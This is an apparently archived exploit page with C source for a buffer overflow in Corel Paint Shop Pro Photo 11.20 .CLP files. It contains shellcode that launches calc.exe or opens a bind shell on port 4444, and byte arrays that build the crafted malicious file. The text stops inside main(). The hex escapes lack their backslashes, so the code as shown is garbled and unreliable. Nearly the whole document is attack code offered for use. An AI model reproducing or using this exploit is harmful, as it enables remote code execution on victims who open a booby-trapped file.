Corel Paint Shop Pro Photo 11.20 (.CLP File) Buffer Overflow Exploit

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Corel Paint Shop Pro Photo 11.20 (.CLP File) Buffer Overflow Exploit
# Published : 2007-04-23
# Author : Marsu
# Previous Title : McAfee VirusScan for Mac (Virex) <= 7.7 Local Root Exploit
# Next Title : Adobe Photoshop CS2 / CS3 Unspecified .BMP File Buffer Overflow Exploit
/*****************************************************************************
*                                                                            *
*  Corel Paint Shop Pro Photo v11.20 Unspecified .CLP File Buffer Overflow   *
*                                                                            *
*                                                                            *
* By opening a specially crafted file, SEH can be overwritten which makes    *
* code execution possible.                                                   *
*                                                                            *
* This sploit runs calc.exe or binds to port 4444.                           *
* Tested against Win XP SP2 FR.                                              *
* Have Fun!                                                                  *
*                                                                            *
* Coded and discovered by Marsu <Marsupilamipowa@hotmail.fr>                 *
*****************************************************************************/

#include "stdio.h"
#include "stdlib.h"

/* win32_exec -  EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char CalcShellcode[] =
"x29xc9x83xe9xddxd9xeexd9x74x24xf4x5bx81x73x13x26"
"x45x32xe3x83xebxfcxe2xf4xdaxadx76xe3x26x45xb9xa6"
"x1axcex4exe6x5ex44xddx68x69x5dxb9xbcx06x44xd9xaa"
"xadx71xb9xe2xc8x74xf2x7ax8axc1xf2x97x21x84xf8xee"
"x27x87xd9x17x1dx11x16xe7x53xa0xb9xbcx02x44xd9x85"
"xadx49x79x68x79x59x33x08xadx59xb9xe2xcdxccx6exc7"
"x22x86x03x23x42xcex72xd3xa3x85x4axefxadx05x3ex68"
"x56x59x9fx68x4ex4dxd9xeaxadxc5x82xe3x26x45xb9x8b"
"x1ax1ax03x15x46x13xbbx1bxa5x85x49xb3x4ex3bxeax01"
"x55x2dxaax1dxacx4bx65x1cxc1x26x53x8fx45x6bx57x9b"
"x43x45x32xe3";

/* win32_bind -  EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char BindShellcode[] =
"x31xc9x83xe9xb0xd9xeexd9x74x24xf4x5bx81x73x13xf7"
"x82xf8x80x83xebxfcxe2xf4x0bxe8x13xcdx1fx7bx07x7f"
"x08xe2x73xecxd3xa6x73xc5xcbx09x84x85x8fx83x17x0b"
"xb8x9ax73xdfxd7x83x13xc9x7cxb6x73x81x19xb3x38x19"
"x5bx06x38xf4xf0x43x32x8dxf6x40x13x74xccxd6xdcxa8"
"x82x67x73xdfxd3x83x13xe6x7cx8exb3x0bxa8x9exf9x6b"
"xf4xaex73x09x9bxa6xe4xe1x34xb3x23xe4x7cxc1xc8x0b"
"xb7x8ex73xf0xebx2fx73xc0xffxdcx90x0exb9x8cx14xd0"
"x08x54x9exd3x91xeaxcbxb2x9fxf5x8bxb2xa8xd6x07x50"
"x9fx49x15x7cxccxd2x07x56xa8x0bx1dxe6x76x6fxf0x82"
"xa2xe8xfax7fx27xeax21x89x02x2fxafx7fx21xd1xabxd3"
"xa4xd1xbbxd3xb4xd1x07x50x91xeaxe9xdcx91xd1x71x61"
"x62xeax5cx9ax87x45xafx7fx21xe8xe8xd1xa2x7dx28xe8"
"x53x2fxd6x69xa0x7dx2exd3xa2x7dx28xe8x12xcbx7exc9"
"xa0x7dx2exd0xa3xd6xadx7fx27x11x90x67x8ex44x81xd7"
"x08x54xadx7fx27xe4x92xe4x91xeax9bxedx7ex67x92xd0"
"xaexabx34x09x10xe8xbcx09x15xb3x38x73x5dx7cxbaxad"
"x09xc0xd4x13x7axf8xc0x2bx5cx29x90xf2x09x31xeex7f"
"x82xc6x07x56xacxd5xaaxd1xa6xd3x92x81xa6xd3xadxd1"
"x08x52x90x2dx2ex87x36xd3x08x54x92x7fx08xb5x07x50"
"x7cxd5x04x03x33xe6x07x56xa5x7dx28xe8x07x08xfcxdf"
"xa4x7dx2ex7fx27x82xf8x80";

char clp_file_part1[] = 
"x50xc3x01x00x08x00x28x70x03x00x5dx00x00x00xf0x5e"
"x11x00x00x00x00x00x00xd5x00x00x3ex00x00x00x00x00"
"x00x00xf2xdfx71x06x02x00x00x00x25x00x00x00x10x5a"
"x11x00x10x00x00x00x00x00x00x00x10xdax52x0bx30xf4"
"x31x01x10xdax52x0bx84x49x89x06x00x00x00x00x00x00"
"x00x00x8exdfx78x06x00x00x00x00x02x00x00x28x00x00"
"x00xfdx01x00x00xb6x8ax00x00x01x00x08x00x00x00x00"
"x00x00x6cx03x00x9bx1ex00xa6x9bx18x00x00x00x05x00"
"x00x00x00x00x00x19x1bx1bx00xffxffxffx00x12xd7xbc"
"x00x2ex64xefx00x89x29x73x00xd9xd9xd9x00xb6xf8x13"
"x00xb4x68x00x01x70x70x70x00x62x92xf0x00xccxccxcc"
"x00xe6xf2xfax00x99x99x99x00xc5x94x50x00xe6xe9xf1"
"x00x32xadxf7x00xb4xb4x4dx00x48x18x4dx00xb4xc9xf0"
"x00x38x9exabx00xefxe3xe0x00xdexe5xecx00x98xb4xef"
"x00xbcx4cx7ex00x3ax98xe5x00x8cx8cx8cx00xd3xe0xef"
"x00x62xc4xa6x00x33x33x33x00xd5xb6x8cx00xddxd5xc6"
"x00xf3xf7xfaxaax02x01xfex00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00xe1x00"
"x00x00xf9x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00xdcx00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00xdcx00x90x00x00x00x00x00x00xe1x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x45x09x92x00x4ex09x92"
"x00x88x23x12x98x24x00x02x00x74x21x12x00x02x00x00"
"x00x90x41x92x00x00x90xfdx00x05x10x91x00x63x20x12"
"x00x00x00x00x00x40x20x12x00x18xeex91x00x70x09x92"
"x00xc0xe4x98x00x6fx3ex92x00x62x3ex92x00x08xdfx00"
"x00x2cx24x12x00x04x24x12x00xbfxdex49x00x4ex09x92"
"x67xd8x23x12x00x95x00x02x00xc4x21x12x00x02x00x00"
"x00x90x41x92xbax00xecxfdx13x05x10x91x00x6cx20x12"
"x00x00x00x00x00x3cx21x12x00x18xeex91x00x70x09x92"
"x00xc0xe4x98x26x6fx3ex92x00x62x3ex92x00x08x02x00"
"x00x7cx24x12x00x54x24x8fx00xe8x20x12x00x00x00xaf"
"x00x5fx07x92x00x51x00x00x00x1fx15xafx00x00x00xaf"
"x00x50xa0x3fx5dxc0x20x12x00x18x00x00x00x04x23x12"
"x00x18xeex91x00x38x07x92x00xffxffxffx00x49x07x47"
"x00xabx06x92x00xebx06x92x00xc8x23x12x00x80x02x00"
"x00x00x00x00x00xabx06x92x00xebx06x92x00x08x90x6e"
"x00xb4x7bx00x00x38x04x00x00x00x00x00x00x00x05x00"
"x00xc6x21x00x00x00x00xd3x00x64xfcxfdx00x45x09x92"
"x00x4excbx92x00x68x65x00x2exa8x20x12x00x54x24x12"
"x00xe8x23x12x00x18xeex91x00x20x24x12x00x08x00x00"
"x00xf8x23x12x00x2ex40x92x00xa8x20x15x00xd0x21xaa"
"x00x70x09x92x00xc0xe4x98x00xefx40x92x00xb2x40x92"
"x00x00x00x00x00x00xfcxfdx00x01x80x00x00xd0x00x57"
"x00x36x00x00x00x70x39x12x00x5cx00x44x00x00x00x00"
"x00x08x00x0ax00x88x3ex92x00x1ax02x00x00x00x00x00"
"x00xabx06x92x00x00x00xe2x00x7cx24x12x00x64x04x00"
"x00x00x00x00x00x10x39x00x00x5ax00x6fx00x64x00x66"
"x00x00xfcxfdx00xd0x21x12x00xcax00x00x00xa0xf9x15"
"x00x7ax00x00x00x00x90x58x00x5cx00x44x00x6fx00x63"
"x00x75x00x6dx00x65x00x6exe8x74x00x73x00x20x00x5a"
"x00x6ex00x64x00x20x00x53x00x65x00x74x00x74x00x69"
"x00x6ex00x34x00x10x00x94x00x38x22x12x00x00x00xaf"
"x00x32x07x92xdfx03x00x00x00x18x07xafx00x00x00xaf"
"x00x50xa6x45x00x10x22x12x00x5cx00x64x00x54x24x12"
"x00x18xeex91x00x38x07x92x00xffxe9xffx00x32x07x92"
"x00xabx06x92x00xebx06x92x00x20xe3x96x00x0cx00x00"
"x00x00x00x00x00x00x00xafx00x64x22x12x00x00x00x00"
"x00xc8x05x92x00xc8x7bx49x00x30x23xd2x00x51xadx92"
"x00x08x0bxafx5ax6dx05xa8x00xd0x7bx49x00xd0x7bx49"
"x00xd4x7bx49x00x00x90x58x00x78x01x70x00x30x23x12"
"x00x08x90x58x00x00x86x00x00x98x18x80x00x00x00x00"
"x00xd0x00x57x00x0cx25x12x00x70x0fx5ax00xdcx22x12"
"x00x00x00x00x00x00x66x60x00x28x54x28x00x0cx25x12"
"x00x09x00x00x00x47x49x46x00x39x61xfdx00xb6x01xd5"
"x00x00x1bx1bx00xffxffxffx00xd7xeaxefx00x2ex73xa9"
"x13xd9xd9xd9x00x6exb6x00x00xb4x70x70x00xf0x92x6c"
"x00xccxccxfax00xe6x99x99xd1x50x94xc5x00xe9xe6xf7"
"x6ax32xacxb4x00x4dx4bx56x00xb0xb4xabx00x38xb2xe9"
"x00xecxe5xdexa9x01x01x01x01xc1x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01xb8x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x77x01xe1"
"x01x01x01x01x01x01x01x6ax01x01x01x44x01x01x01x01"
"x01x1fx01x01x01x01x84x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01xa9x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x46x01x01"
"x01x01x01x01x01x01x01x01x01x01xdax01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x59x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x2cx01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01xadx01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x0cx01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01xca"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01xdbx01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01xacx01x01x01x01x01x01x01x01x01x01x01"
"xbax01x01x01x01x01x01x01x01x01x01x01x01x01x01x76"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01xefx01x01x01x01x01x41x01x01x01"
"x01x01x01xa8x01x01x01x01x01x01x01x01x01x01x01x01"
"x1bx01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x57x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01xfbx01x01x01x01x01x01"
"x01x01x00x00x00x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x44x13x01x01x01x2a"
"x01x01x01x01x01x01x01x01x01x01x9dx01x39x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x65x01x01x01x01x01x01xd7x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01xeax01x01x01x01"
"x01x01xcfx01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x67x01x01x01x01x01xd5x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01xefx01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x3cx8fx01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x82x01x01"
"x01x01x01x01x01xeexfcx01x01x01x01x01x01x01x05x01"
"x27x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x25x01x01x01xc8x01x01x01x01x01x01"
"x01x86x01x01x01x01x01x01x34x01x01x01x01x01x01x01"
"x01x01xeex01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x83x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01xa5x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x8cx01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x87x01x01x01x01xf2x01x01x01x01x01x01x01x01"
"x01x01x95x01x01x01x01x01x01x01x01x01xb8x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x00x00x00x01x30x0ex0ex1fx01x01x01x01x7ex01"
"x48xddx0ex1fx1fx1fx01x01x1fxd0x01x01x0ex1fx1fx0e"
"x01x01x1fx15x15x1fx01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x0fx01x01x01x01x01x01x01"
"x01x01x01x01x7cx01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x4d"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01xd7x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x75x01x01x01x01x01x01x01x01x01"
"x52x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x55xdc"
"xbax01x01x01x01x01x74x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x7ex01x01x01x01"
"x01x01x01x12x01x01x01x01x01xb6x01x01x01x01x01xd6"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x60"
"x01x01x01x01xd6x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x57x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01xb9x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01xcdx01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01xddx88x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x5dx01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01xadx01x01x01x01x01x01x01x95x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01xe3x01"
"x01x92x01x01x3cx01x01x01x01x0ex01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x36x01x01x01x01x01x01x01x01x01x01xf2"
"x01x01x00x00x00x1fx15x0bx15x15x15x01x01x01x0ax15"
"x1fx1fx0ax1fx0ex05x01x01x0ex0ax01x0ex0ax0ex1fx0a"
"x01x0ex0ax05x05x0ax1fx01x01x01x01x01x01xf4x01x01"
"x01x01x01x01x04x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x3bx01x01x01x01x01x01xa0x01x01x01"
"x01x01x01x01x01x01x01x01x01xf4x01x74x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x7fx01x01x01"
"x01x01x01x01x01x01x01x01x01x88x01x01x01x01x01x01"
"x01x01x01xc4x01x01x01x01x01x01x01x01x01xdbx01x01"
"x01x01x01x01x1fx01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x81x01xf7x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01xe5x01x01x01x01xab"
"x01x01x01x01x01x01x01x01x01x01x01x16x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x53x66x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x19x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01"
;

char clp_file_part2[] = 
"x48x47x46x45x44x43x42x41x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"xc7x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x33x01x01x01x01x01"
"x01x48x01x01x01x01x01x01x01x01xcfx01x01x01x01x01"
"x01x01x01x01x22x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01xe1x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x32x01x01x01x01x01x01x5ex01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01xdfx01x01x01x01xcdx01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x00x00x00x05x4ax0ex0ex0ex0ex0ex71"
"x01x15x0ax0ax0ax05x01x0ex05x01x01x0ex05x01x0ax0a"
"xb3x1fx05x06x0ax0ex01x01x1fx1fx01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x62"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01xa1"
"x01x01x01xb6x01x01x01x01x01xf1x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x77x01x01x01x01x09"
"x01x01x01x01x01x01xcax01x01xd8x01xaax01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01xc5x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x59x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x33x01x66x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x24x01x01x01x01x01x63x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01xfax01x01x01"
"x01x01x01x01x01x01x01x01x08x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x1ax01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x8fx01x01x01xd1x01x01x01x01x01x01x0cx01x01x01x01"
"x01x01x01x01x01x01x01x01x1ax01x01x01x01x01x01x01"
"x01x01x01x01x01x01x10x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01xf8x01x01x01x01x01x01x01x21xdcx01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x03x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x00x00x00x05x0ex05x01x01x1fx15x01"
"x63x1fx0ax1fx05x15x01x0ex0axa8x0ex0ex05x05x05x05"
"x0ex48x05x0ex0ax01x05x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x2cx01x01x01x01x01x01x01x65"
"x01x01x01x01x01xdbx01x01x01x01x01x01x01x01x01x01"
"xd4x01x01x01x01x01x01x31x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01xa0x01x01x01x01x01x01x01x34x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01xccx01x01x01x01"
"x01x01x01x01x01x01x85x01x01x01x01x01x01x01x01x2b"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01xacxbfx01x01x01x01"
"x01x01x01x01x01x01x01xeax01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x66x01x01x01xddx01x67x3ex01x01"
"x01x01x01x01x01x01xa3x01x01x01x01x01x01x01x01x01"
"x01x53x01x01x01x01x85x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x49x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x00x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x29"
"x01x01x3dx01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x1fx01x01x01x01xe8x01x01x01x01x01x01x01x25x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x2cx01x01x01x01x01x01x01x01"
"x01x27x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x00x00x00x05x0ex05x0ex0ex0ex6bx01"
"x01x01x05x05x05x1fx01x0ex0ax15x1fx0ex0ax0ax1fx05"
"x0ex1fx05x35x0ax1fx01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x42x01x01x01x01"
"x01x01x01x01x01x01x01x01xabx01x01x01x01x01xb9x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x72x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x49x01x74x44x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"xe7x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01xfex01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x75x69x01x01x01x01x5dx01x01x01x01x01x1f"
"x01x01x6dxeex01x13x01x01x94x01x01x01x01x01x01xea"
"x01x20x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01xbcx01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x59x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"xf6x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x85x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01xcbx01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"xf3x01x01x01x01x01x01x01x01x01x01x01xfbx01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x52"
"x01x48x01x01x01x01x01x01x01x01x20x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x8bx9axa0x00x00x0exd7x15x15x15x15x1fx01"
"x01x01x0ex0ax05x01x01x0ex0ax15x1fx0ex0ax0ex01x05"
"xfcx1fx0ax01x05x0ax10x15xcdx1fx01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x21x01x01x01x01xc7"
"x01x01x01xadx01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x64x01x01x01x01x01xf8x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x54x01x01x01"
"x4dx01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01xc8x01xefx01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x10x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x4dx01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x68x01"
"x01x96x01x01x01x01x01x94x01x01x01x01x01x01x01x01"
"x01x01x01x61x01x01x01x01x01x01x01x01x01x01x01x01"
"x26x01x01x01x01x01x01x01x01x01x01xe3x01x01x01x01"
"x33xc6x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01xc1x01x01x01x01x01x01x01x01x01"
"x01x01x01xf6x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x9dx01x01x01x01x2bx01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x60x01x01x01x01x01x01x26x01x01x01x01x01"
"x17x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x46x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01xf9x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"xe7x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x00x00x00x01x1fx15x15x15x1fx01x01"
"x01x01x01x05x1fx01x01x1fx05x05x0ex7dx15x01x01x15"
"x1fx1fx15x01x01x0ex05x05x0ex3fx01x01xd2x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x05x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01xfax01x01"
"x01x01x01x01x01x01xb0x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x05x01x01x01x01x01"
"x01x01x01x01xcfx01x01x01x01x01x01x01x01x01x01xf1"
"x01x01x7ax01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x20x01x01x01"
"x01x01x01x01x01x01x01x40x01x01x4dx01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01xa5x01x01x01x01x01x01x01x01x01"
"x01x01x4cx01x51x01xbbx88x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x8ax01x68x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x0fx01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01x01"
"x89x01x01"
;

int main(int argc, char* argv[])
{
	FILE* clpfile;
	char evilbuff[10000];
	char *MyShellcode;
	int offset=0;
	
	printf("[+] Corel Paint Shop Pro Photo v11.20 Unspecified .CLP File Buffer Overflown");
	printf("[+] Coded and discovered by Marsu <Marsupilamipowa@hotmail.fr>n");
	if (argc!=3) {
